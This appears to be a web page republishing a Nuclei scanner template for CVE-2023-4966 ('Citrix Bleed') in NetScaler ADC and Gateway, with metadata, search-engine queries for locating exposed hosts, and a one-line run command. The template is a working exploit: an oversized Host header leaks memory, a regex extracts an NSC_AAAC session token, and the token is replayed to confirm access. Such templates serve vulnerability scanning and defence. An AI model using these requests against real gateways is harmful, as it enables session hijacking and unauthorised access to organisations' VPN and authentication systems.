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Citrix Bleed - Leaking Session Tokens

ID: CVE-2023-4966

Severity: high

Author: DhiyaneshDK

Tags: cve,cve2023,citrix,adc,info-leak,kev,exposure

Description

Section titled “Description”

Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.

YAML Source

Section titled “YAML Source”
id: CVE-2023-4966


info:
  name: Citrix Bleed - Leaking Session Tokens
  author: DhiyaneshDK
  severity: high
  description: |
    Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
  reference:
    - https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
    - https://github.com/Chocapikk/CVE-2023-4966
    - https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
    - https://x.com/assetnote/status/1716757539323564196?s=20
    - https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-4966
    cwe-id: CWE-119,NVD-CWE-noinfo
    epss-score: 0.9671
    epss-percentile: 0.99651
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: citrix
    product: netscaler_application_delivery_controller
    shodan-query:
      - title:"Citrix Gateway" || title:"Netscaler Gateway"
      - http.title:"citrix gateway" || title:"netscaler gateway"
    fofa-query: title="citrix gateway" || title:"netscaler gateway"
    google-query: intitle:"citrix gateway" || title:"netscaler gateway"
  tags: cve,cve2023,citrix,adc,info-leak,kev,exposure
variables:
  payload: '{{repeat("a", 24812)}}'
  str: "{{to_lower(rand_text_alpha(4))}}"


http:
  - raw:
      - |+
        GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
        {{str}}: {{Hostname}}
        Host: {{payload}}


      - |+
        POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
        Host: {{Hostname}}
        Cookie: NSC_AAAC={{session}}


    unsafe: true


    extractors:
      - type: regex
        name: session
        part: body_1
        group: 1
        regex:
          - '([a-f0-9]{100}45525d5f4f58455e445a4a42)'
        internal: true


      - type: regex
        part: body_2
        regex:
          - '([a-z0-9._]+)'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'NSC_AAAC='
          - 'HTTP/1.1'


      - type: word
        words:
          - '{"issuer":'
# digest: 4b0a004830460221009f2a4459385b43ec6fbefee25590b2880ffb80d2277ea8661e3c70f68e43dab6022100fe0c3fb75a095ced0882319ac2560b33bfe533ae30181a6a0ce539bab0dee8e6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4966.yaml"

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